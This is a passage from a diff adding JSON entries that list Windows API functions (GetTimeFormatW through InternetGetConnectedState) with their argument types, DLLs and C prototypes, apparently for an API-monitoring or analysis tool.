"kernel32.dll", + "full_prototype": "int GetTimeFormatW( LCID lcid, DWORD dwFlags, const SYSTEMTIME* lpTime, LPCWSTR lpFormat, LPWSTR lpTimeStr, int cchOut );" + }, + { + "function_name": "GetTimeZoneInformation", + "arguments": [ + "LPTIME_ZONE_INFORMATION" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetTimeZoneInformation(LPTIME_ZONE_INFORMATION lpTimeZoneInformation);" + }, + { + "function_name": "GetTokenInformation", + "arguments": [ + "HANDLE", + "TOKEN_INFORMATION_CLASS", + "LPVOID", + "DWORD", + "PDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetTokenInformation( HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength );" + }, + { + "function_name": "GetTopWindow", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetTopWindow(HWND hWnd);" + }, + { + "function_name": "GetUdpStatistics", + "arguments": [ + "PMIB_UDPSTATS" + ], + "dll_name": "iphlpapi.dll", + "full_prototype": "DWORD GetUdpStatistics(PMIB_UDPSTATS pStats);" + }, + { + "function_name": "GetUpdateRect", + "arguments": [ + "HWND", + "LPRECT", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetUpdateRect(HWND hWnd, LPRECT lpRect, BOOL bErase);" + }, + { + "function_name": "GetUpdateRgn", + "arguments": [ + "HWND", + "HRGN", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetUpdateRgn(HWND hWnd, HRGN hRgn, BOOL bErase);" + }, + { + "function_name": "GetUserDefaultLCID", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LCID GetUserDefaultLCID(VOID);" + }, + { + "function_name": "GetUserNameA", + "arguments": [ + "LPTSTR", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetUserNameA(LPTSTR lpBuffer, LPDWORD nSize);" + }, + { + "function_name": "GetUserNameW", + "arguments": [ + "LPWSTR", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetUserNameW( LPWSTR lpszName, LPDWORD lpSize );" + }, + { + "function_name": "GetUserNameExA", + "arguments": [ + "EXTENDED_NAME_FORMAT", + "LPTSTR", + "PULONG" + ], + "dll_name": "secur32.dll", + "full_prototype": "BOOLEAN GetUserNameExA( EXTENDED_NAME_FORMAT NameFormat, LPTSTR lpNameBuffer, PULONG nSize);" + }, + { + "function_name": "GetUserObjectInformationA", + "arguments": [ + "HANDLE", + "int", + "PVOID", + "DWORD", + "LPDWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetUserObjectInformationA(HANDLE hObj, int nIndex, PVOID pvInfo, DWORD nLength,LPDWORD lpnLengthNeeded);" + }, + { + "function_name": "GetUserObjectInformationW", + "arguments": [ + "HANDLE", + "int", + "PVOID", + "DWORD", + "LPDWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetUserObjectInformationW(HANDLE hObj, int nIndex, PVOID pvInfo, DWORD nLength,LPDWORD lpnLengthNeeded);" + }, + { + "function_name": "GetUserObjectSecurity", + "arguments": [ + "HANDLE", + "PSECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR", + "DWORD", + "LPDWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetUserObjectSecurity(HANDLE hObj, PSECURITY_INFORMATION pSIRequested, PSECURITY_DESCRIPTOR pSID, DWORD nLength, LPDWORD lpnLengthNeeded);" + }, + { + "function_name": "GetVersion", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetVersion(VOID);" + }, + { + "function_name": "GetVersionExA", + "arguments": [ + "LPOSVERSIONINFO" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetVersionExA(LPOSVERSIONINFO lpVersionInformation);" + }, + { + "function_name": "GetVersionExW", + "arguments": [ + "LPOSVERSIONINFOW" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetVersionExW(LPOSVERSIONINFOW lpVersionInformation);" + }, + { + "function_name": "GetViewportExtEx", + "arguments": [ + "HDC", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetViewportExtEx(HDC hdc, LPSIZE lpSize);" + }, + { + "function_name": "GetViewportOrgEx", + "arguments": [ + "HDC", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetViewportOrgEx(HDC hdc, LPPOINT lpPoint);" + }, + { + "function_name": "GetVolumeInformationA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "DWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetVolumeInformationA( LPCTSTR lpRootPathName, LPTSTR lpVolumeNameBuffer, DWORD nVolumeNameSize, LPDWORD lpVolumeSerialNumber, LPDWORD lpMaximumComponentLength, LPDWORD lpFileSystemFlags, LPTSTR lpFileSystemNameBuffer, DWORD nFileSystemNameSize );" + }, + { + "function_name": "GetVolumeInformationW", + "arguments": [ + "LPCWSTR", + "LPWSTR", + "DWORD", + "PDWORD", + "PDWORD", + "PDWORD", + "LPWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetVolumeInformationW(LPCWSTR lpRootPathName,LPWSTR lpVolumeNameBuffer,DWORD nVolumeNameSize,PDWORD lpVolumeSerialNumber,PDWORD lpMaximumComponentLength,PDWORD lpFileSystemFlags,LPWSTR lpFileSystemNameBuffer,DWORD nFileSystemNameSize );" + }, + { + "function_name": "GetWindow", + "arguments": [ + "HWND", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetWindow(HWND hWnd,UINT uCmd);" + }, + { + "function_name": "GetWindowContextHelpId", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD GetWindowContextHelpId(HWND hwnd);" + }, + { + "function_name": "GetWindowDC", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HDC GetWindowDC(HWND hWnd);" + }, + { + "function_name": "GetWindowLongA", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG GetWindowLongA(HWND hWnd,int nIndex);" + }, + { + "function_name": "GetWindowLongW", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG GetWindowLongW(HWND hWnd, int nIndex);" + }, + { + "function_name": "GetWindowPlacement", + "arguments": [ + "HWND", + "WINDOWPLACEMENT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetWindowPlacement(HWND hWnd,WINDOWPLACEMENT * lpwndpl);" + }, + { + "function_name": "GetWindowRect", + "arguments": [ + "HWND", + "LPRECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetWindowRect(HWND hWnd,LPRECT lpRect);" + }, + { + "function_name": "GetWindowRgn", + "arguments": [ + "HWND", + "HRGN" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetWindowRgn(HWND hWnd, HRGN hRgn);" + }, + { + "function_name": "GetWindowsDirectoryA", + "arguments": [ + "LPTSTR", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetWindowsDirectoryA(LPTSTR lpBuffer,UINT uSize);" + }, + { + "function_name": "GetWindowsDirectoryW", + "arguments": [ + "LPWSTR", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetWindowsDirectoryW(LPWSTR lpBuffer,UINT uSize);" + }, + { + "function_name": "GetWindowTextA", + "arguments": [ + "HWND", + "LPTSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetWindowTextA(HWND hWnd, LPTSTR lpString, int nMaxCount);" + }, + { + "function_name": "GetWindowTextLengthA", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetWindowTextLengthA(HWND hWnd);" + }, + { + "function_name": "GetWindowTextLengthW", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetWindowTextLengthW(HWND hWnd);" + }, + { + "function_name": "GetWindowTextW", + "arguments": [ + "HWND", + "LPWSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetWindowTextW(HWND hWnd, LPWSTR lpString, int nMaxCount);" + }, + { + "function_name": "GetWindowThreadProcessId", + "arguments": [ + "HWND", + "LPDWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD GetWindowThreadProcessId(HWND hWnd, LPDWORD lpdwProcessId);" + }, + { + "function_name": "GetWindowWord", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "WORD GetWindowWord(HWND hWnd,int nIndex);" + }, + { + "function_name": "GetWinMetaFileBits", + "arguments": [ + "HENHMETAFILE", + "UINT", + "LPBYTE", + "INT", + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetWinMetaFileBits(HENHMETAFILE hemf, UINT cbBuffer, LPBYTE lpbBuffer, INT fnMapMode, HDC hdcRef);" + }, + { + "function_name": "GetWindowExtEx", + "arguments": [ + "HDC", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetWindowExtEx(HDC hdc, LPSIZE lpSize);" + }, + { + "function_name": "GetWindowOrgEx", + "arguments": [ + "HDC", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetWindowOrgEx(HDC hdc, LPPOINT lpPoint);" + }, + { + "function_name": "GetWorldTransform", + "arguments": [ + "HDC", + "LPXFORM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetWorldTransform(HDC hdc, LPXFORM lpXform);" + }, + { + "function_name": "glAccum", + "arguments": [ + "GLenum", + "GLfloat" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glAccum(GLenum op,GLfloat value);" + }, + { + "function_name": "glAlphaFunc", + "arguments": [ + "GLenum", + "GLclampf" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glAlphaFunc(GLenum func,GLclampf ref);" + }, + { + "function_name": "glBegin", + "arguments": [ + "GLenum" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glBegin(GLenum mode);" + }, + { + "function_name": "glBitmap", + "arguments": [ + "GLsizei", + "GLsizei", + "GLfloat", + "GLfloat", + "GLfloat", + "GLfloat", + "const GLubyte" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glBitmap(GLsizei width, GLsizei height, GLfloat xorig, GLfloat yorig, GLfloat xmove, GLfloat ymove, const GLubyte *bitmap);" + }, + { + "function_name": "glBlendFunc", + "arguments": [ + "GLenum", + "GLenum" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glBlendFunc(GLenum sfactor, GLenum dfactor);" + }, + { + "function_name": "glCallList", + "arguments": [ + "GLuint" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glCallList(GLuint list);" + }, + { + "function_name": "glCallLists", + "arguments": [ + "GLsizei", + "GLenum", + "const GLvoid" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glCallLists(GLsizei n, GLenum type, const GLvoid *lists);" + }, + { + "function_name": "glClear", + "arguments": [ + "GLbitfield" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glClear(GLbitfield mask);" + }, + { + "function_name": "glClearAccum", + "arguments": [ + "GLfloat", + "GLfloat", + "GLfloat", + "GLfloat" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glClearAccum(GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha);" + }, + { + "function_name": "glClearColor", + "arguments": [ + "GLclampf", + "GLclampf", + "GLclampf", + "GLclampf" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glClearColor(GLclampf red, GLclampf green, GLclampf blue,GLclampf alpha);" + }, + { + "function_name": "glClearDepth", + "arguments": [ + "GLclampd" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glClearDepth(GLclampd depth);" + }, + { + "function_name": "glClearIndex", + "arguments": [ + "GLfloat" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glClearIndex(GLfloat c);" + }, + { + "function_name": "glClearStencil", + "arguments": [ + "GLint" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glClearStencil(GLint s);" + }, + { + "function_name": "glClipPlane", + "arguments": [ + "GLenum", + "const GLdouble" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glClipPlane(GLenum plane, const GLdouble *equation);" + }, + { + "function_name": "glColor3b", + "arguments": [ + "GLbyte", + "GLbyte", + "GLbyte" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glColor3b(GLbyte red,GLbyte green,GLbyte blue);" + }, + { + "function_name": "glColor3bv", + "arguments": [ + "const GLbyte" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glColor3bv(const GLbyte *v);" + }, + { + "function_name": "glColor3d", + "arguments": [ + "GLdouble", + "GLdouble", + "GLdouble" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glColor3d(GLdouble red, GLdouble green, GLdouble blue);" + }, + { + "function_name": "glColor3dv", + "arguments": [ + "const GLdouble" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glColor3dv(const GLdouble *v);" + }, + { + "function_name": "glColor3f", + "arguments": [ + "GLfloat", + "GLfloat", + "GLfloat" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glColor3f(GLfloat red, GLfloat green, GLfloat blue);" + }, + { + "function_name": "glColor3fv", + "arguments": [ + "const GLfloat" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glColor3fv(const GLfloat *v);" + }, + { + "function_name": "glColor3i", + "arguments": [ + "GLint", + "GLint", + "GLint" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glColor3i(GLint red, GLint green, GLint blue);" + }, + { + "function_name": "glColor3iv", + "arguments": [ + "const GLint" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glColor3iv(const GLint *v);" + }, + { + "function_name": "glColor3s", + "arguments": [ + "GLshort", + "GLshort", + "GLshort", + "GLshort" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glColor3s(GLshort red, GLshort green, GLshort blue, GLshort alpha);" + }, + { + "function_name": "glColor3sv", + "arguments": [ + "const GLshort" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glColor3sv(const GLshort *v);" + }, + { + "function_name": "glEnd", + "arguments": [ + "" + ], + "dll_name": "opengl32.dll", + "full_prototype": "void glEnd(void);" + }, + { + "function_name": "GlobalAddAtomA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "ATOM GlobalAddAtomA(LPCTSTR lpString);" + }, + { + "function_name": "GlobalAddAtomW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "ATOM GlobalAddAtomW(LPCWSTR str);" + }, + { + "function_name": "GlobalAlloc", + "arguments": [ + "UINT", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HGLOBAL GlobalAlloc(UINT uFlags, DWORD dwBytes);" + }, + { + "function_name": "GlobalCompact", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "SIZE_T GlobalCompact(DWORD MinFree);" + }, + { + "function_name": "GlobalDeleteAtom", + "arguments": [ + "ATOM" + ], + "dll_name": "kernel32.dll", + "full_prototype": "ATOM GlobalDeleteAtom(ATOM nAtom);" + }, + { + "function_name": "GlobalFindAtomA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "ATOM GlobalFindAtomA(LPCTSTR lpString);" + }, + { + "function_name": "GlobalFindAtomW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "ATOM GlobalFindAtomW(LPCWSTR str);" + }, + { + "function_name": "GlobalFix", + "arguments": [ + "HGLOBAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "void GlobalFix(HGLOBAL hglb);" + }, + { + "function_name": "GlobalFlags", + "arguments": [ + "HGLOBAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GlobalFlags(HGLOBAL hMem);" + }, + { + "function_name": "GlobalFree", + "arguments": [ + "HGLOBAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HGLOBAL GlobalFree(HGLOBAL hMem);" + }, + { + "function_name": "GlobalGetAtomNameA", + "arguments": [ + "ATOM", + "LPTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GlobalGetAtomNameA(ATOM nAtom, LPTSTR lpBuffer, int nSize);" + }, + { + "function_name": "GlobalGetAtomNameW", + "arguments": [ + "ATOM", + "LPWSTR", + "INT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GlobalGetAtomNameW(ATOM atom, LPWSTR buffer, INT count);" + }, + { + "function_name": "GlobalHandle", + "arguments": [ + "LPCVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HGLOBAL GlobalHandle(LPCVOID pMem);" + }, + { + "function_name": "GlobalLock", + "arguments": [ + "HGLOBAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID GlobalLock(HGLOBAL hMem);" + }, + { + "function_name": "GlobalMemoryStatus", + "arguments": [ + "LPMEMORYSTATUS" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID GlobalMemoryStatus(LPMEMORYSTATUS lpBuffer);" + }, + { + "function_name": "GlobalMemoryStatusEx", + "arguments": [ + "LPMEMORYSTATUSEX" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GlobalMemoryStatusEx(LPMEMORYSTATUSEX lpBuffer);" + }, + { + "function_name": "GlobalReAlloc", + "arguments": [ + "HGLOBAL", + "DWORD", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HGLOBAL GlobalReAlloc(HGLOBAL hMem, DWORD dwBytes, UINT uFlags);" + }, + { + "function_name": "GlobalSize", + "arguments": [ + "HGLOBAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GlobalSize(HGLOBAL hMem);" + }, + { + "function_name": "GlobalUnfix", + "arguments": [ + "HGLOBAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID GlobalUnfix(HGLOBAL hMem);" + }, + { + "function_name": "GlobalUnlock", + "arguments": [ + "HGLOBAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GlobalUnlock(HGLOBAL hMem);" + }, + { + "function_name": "GlobalUnWire", + "arguments": [ + "HGLOBAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GlobalUnWire(HGLOBAL hMem);" + }, + { + "function_name": "GrayStringA", + "arguments": [ + "HDC", + "HBRUSH", + "GRAYSTRINGPROC", + "LPARAM", + "int", + "int", + "int", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GrayStringA(HDC hDC, HBRUSH hBrush,GRAYSTRINGPROC lpOutputFunc, LPARAM lpData, int nCount, int X, int Y, int nWidth, int nHeight);" + }, + { + "function_name": "GrayStringW", + "arguments": [ + "HDC", + "HBRUSH", + "GRAYSTRINGPROC", + "LPARAM", + "int", + "int", + "int", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GrayStringW(HDC hDC, HBRUSH hBrush,GRAYSTRINGPROC lpOutputFunc, LPARAM lpData, int nCount, int X, int Y, int nWidth, int nHeight);" + }, + { + "function_name": "HeapAlloc", + "arguments": [ + "HANDLE", + "DWORD", + "SIZE_T" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);" + }, + { + "function_name": "HeapCompact", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "SIZE_T HeapCompact(HANDLE hHeap, DWORD dwFlags);" + }, + { + "function_name": "HeapCreate", + "arguments": [ + "DWORD", + "SIZE_T", + "SIZE_T" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize);" + }, + { + "function_name": "HeapDestroy", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL HeapDestroy(HANDLE hHeap);" + }, + { + "function_name": "HeapFree", + "arguments": [ + "HANDLE", + "DWORD", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);" + }, + { + "function_name": "HeapLock", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL HeapLock(HANDLE hHeap);" + }, + { + "function_name": "HeapReAlloc", + "arguments": [ + "HANDLE", + "DWORD", + "LPVOID", + "SIZE_T" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);" + }, + { + "function_name": "HeapSize", + "arguments": [ + "HANDLE", + "DWORD", + "LPCVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "SIZE_T HeapSize(HANDLE hHeap, DWORD dwFlags, LPCVOID lpMem);" + }, + { + "function_name": "HeapUnlock", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL HeapUnlock(HANDLE hHeap);" + }, + { + "function_name": "HeapValidate", + "arguments": [ + "HANDLE", + "DWORD", + "LPCVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL HeapValidate(HANDLE hHeap, DWORD dwFlags, LPCVOID lpMem);" + }, + { + "function_name": "HeapWalk", + "arguments": [ + "HANDLE", + "LPPROCESS_HEAP_ENTRY" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL HeapWalk(HANDLE hHeap, LPPROCESS_HEAP_ENTRY lpEntry);" + }, + { + "function_name": "HideCaret", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL HideCaret(HWND hWnd);" + }, + { + "function_name": "HiliteMenuItem", + "arguments": [ + "HWND", + "HMENU", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL HiliteMenuItem(HWND hwnd, HMENU hmenu, UINT uItemHilite,UINT uHilite);" + }, + { + "function_name": "IcmpCloseHandle", + "arguments": [ + "HANDLE" + ], + "dll_name": "icmp.dll", + "full_prototype": "BOOL IcmpCloseHandle(HANDLE IcmpHandle);" + }, + { + "function_name": "IcmpCreateFile", + "arguments": [ + "" + ], + "dll_name": "icmp.dll", + "full_prototype": "HANDLE IcmpCreateFile(void);" + }, + { + "function_name": "IcmpSendEcho", + "arguments": [ + "HANDLE", + "IPAddr", + "LPVOID", + "WORD", + "PIP_OPTION_INFORMATION", + "LPVOID", + "DWORD", + "DWORD" + ], + "dll_name": "icmp.dll", + "full_prototype": "DWORD IcmpSendEcho( HANDLE IcmpHandle, IPAddr DestinationAddress, LPVOID RequestData, WORD RequestSize, PIP_OPTION_INFORMATION RequestOptions, LPVOID ReplyBuffer, DWORD ReplySize, DWORD Timeout);" + }, + { + "function_name": "ImpersonateDdeClientWindow", + "arguments": [ + "HWND", + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ImpersonateDdeClientWindow(HWND hWndClient, HWND hWndServer);" + }, + { + "function_name": "ImpersonateLoggedOnUser", + "arguments": [ + "HANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ImpersonateLoggedOnUser( HANDLE hToken );" + }, + { + "function_name": "ImpersonateNamedPipeClient", + "arguments": [ + "HANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ImpersonateNamedPipeClient( HANDLE hNamedPipe );" + }, + { + "function_name": "ImpersonateSelf", + "arguments": [ + "SECURITY_IMPERSONATION_LEVEL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ImpersonateSelf( SECURITY_IMPERSONATION_LEVEL ImpersonationLevel );" + }, + { + "function_name": "inet_addr", + "arguments": [ + "const char FAR *" + ], + "dll_name": "Wsock32.dll", + "full_prototype": "unsigned long inet_addr (const char FAR * cp);" + }, + { + "function_name": "InflateRect", + "arguments": [ + "LPRECT", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL InflateRect(LPRECT lprc, int dx,int dy);" + }, + { + "function_name": "InitAtomTable", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL InitAtomTable(DWORD nSize);" + }, + { + "function_name": "InitCommonControlsEx", + "arguments": [ + "LPINITCOMMONCONTROLSEX" + ], + "dll_name": "comctl32.dll", + "full_prototype": "BOOL InitCommonControlsEx(LPINITCOMMONCONTROLSEX pInitCtrls);" + }, + { + "function_name": "InitializeAcl", + "arguments": [ + "PACL", + "DWORD", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL InitializeAcl( PACL pAcl, DWORD nAclLength, DWORD dwAclRevision );" + }, + { + "function_name": "InitializeCriticalSection", + "arguments": [ + "LPCRITICAL_SECTION" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection);" + }, + { + "function_name": "InitializeSecurityDescriptor", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL InitializeSecurityDescriptor( PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision );" + }, + { + "function_name": "InitializeSid", + "arguments": [ + "PSID", + "PSID_IDENTIFIER_AUTHORITY", + "BYTE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL InitializeSid( PSID Sid, PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount );" + }, + { + "function_name": "InitiateSystemShutdownA", + "arguments": [ + "LPSTR", + "LPSTR", + "DWORD", + "BOOL", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL InitiateSystemShutdownA( LPSTR lpMachineName, LPSTR lpMessage, DWORD dwTimeout, BOOL bForceAppsClosed, BOOL bRebootAfterShutdown );" + }, + { + "function_name": "InitiateSystemShutdownW", + "arguments": [ + "LPWSTR", + "LPWSTR", + "DWORD", + "BOOL", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL InitiateSystemShutdownW( LPWSTR lpMachineName, LPWSTR lpMessage, DWORD dwTimeout, BOOL bForceAppsClosed, BOOL bRebootAfterShutdown );" + }, + { + "function_name": "InSendMessage", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL InSendMessage(VOID);" + }, + { + "function_name": "InsertMenuA", + "arguments": [ + "HMENU", + "UINT", + "UINT", + "UINT", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL InsertMenuA(HMENU hMenu, UINT uPosition, UINT uFlags, UINT uIDNewItem, LPCTSTR lpNewItem);" + }, + { + "function_name": "InsertMenuItemA", + "arguments": [ + "HMENU", + "UINT", + "BOOL", + "LPMENUITEMINFO" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL InsertMenuItemA(HMENU hMenu, UINT uItem, BOOL fByPosition, LPMENUITEMINFO lpmii);" + }, + { + "function_name": "InsertMenuItemW", + "arguments": [ + "HMENU", + "UINT", + "BOOL", + "LPCMENUITEMINFOW" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL InsertMenuItemW(HMENU hMenu, UINT uItem, BOOL fByPosition, LPCMENUITEMINFOW lpmii);" + }, + { + "function_name": "InsertMenuW", + "arguments": [ + "HMENU", + "UINT", + "UINT", + "UINT", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL InsertMenuW(HMENU hMenu, UINT uPosition, UINT uFlags, UINT uIDNewItem, LPCWSTR lpNewItem);" + }, + { + "function_name": "InstallNewDevice", + "arguments": [ + "HWND", + "LPGUID", + "PDWORD" + ], + "dll_name": "newdev.dll", + "full_prototype": "BOOL InstallNewDevice( HWND hwndParent, LPGUID ClassGuid, PDWORD pReboot);" + }, + { + "function_name": "InterlockedCompareExchange", + "arguments": [ + "PVOID", + "PVOID", + "PVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "PVOID InterlockedCompareExchange(PVOID *Destination, PVOID Exchange, PVOID Comperand);" + }, + { + "function_name": "InterlockedDecrement", + "arguments": [ + "LPLONG" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LONG InterlockedDecrement(LPLONG lpAddend);" + }, + { + "function_name": "InterlockedExchange", + "arguments": [ + "LPLONG", + "LONG" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LONG InterlockedExchange(LPLONG Target, LONG Value);" + }, + { + "function_name": "InterlockedExchangeAdd", + "arguments": [ + "PLONG", + "LONG" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LONG InterlockedExchangeAdd(PLONG Addend, LONG Increment);" + }, + { + "function_name": "InterlockedIncrement", + "arguments": [ + "LPLONG" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LONG InterlockedIncrement(LPLONG lpAddend);" + }, + { + "function_name": "InternetAutodial", + "arguments": [ + "DWORD", + "HWND" + ], + "dll_name": "wininet.dll", + "full_prototype": "BOOL InternetAutodial(DWORD dwFlags,HWND hwndParent);" + }, + { + "function_name": "InternetAutodialHangup", + "arguments": [ + "DWORD" + ], + "dll_name": "wininet.dll", + "full_prototype": "BOOL InternetAutodialHangup(DWORD dwReserved);" + }, + { + "function_name": "InternetGetConnectedState", + "arguments": [ + "LPDWORD", + "DWORD" + ], + "dll_name": "wininet.dll", + "full_prototype": "BOOL InternetGetConnectedState(LPDWORD 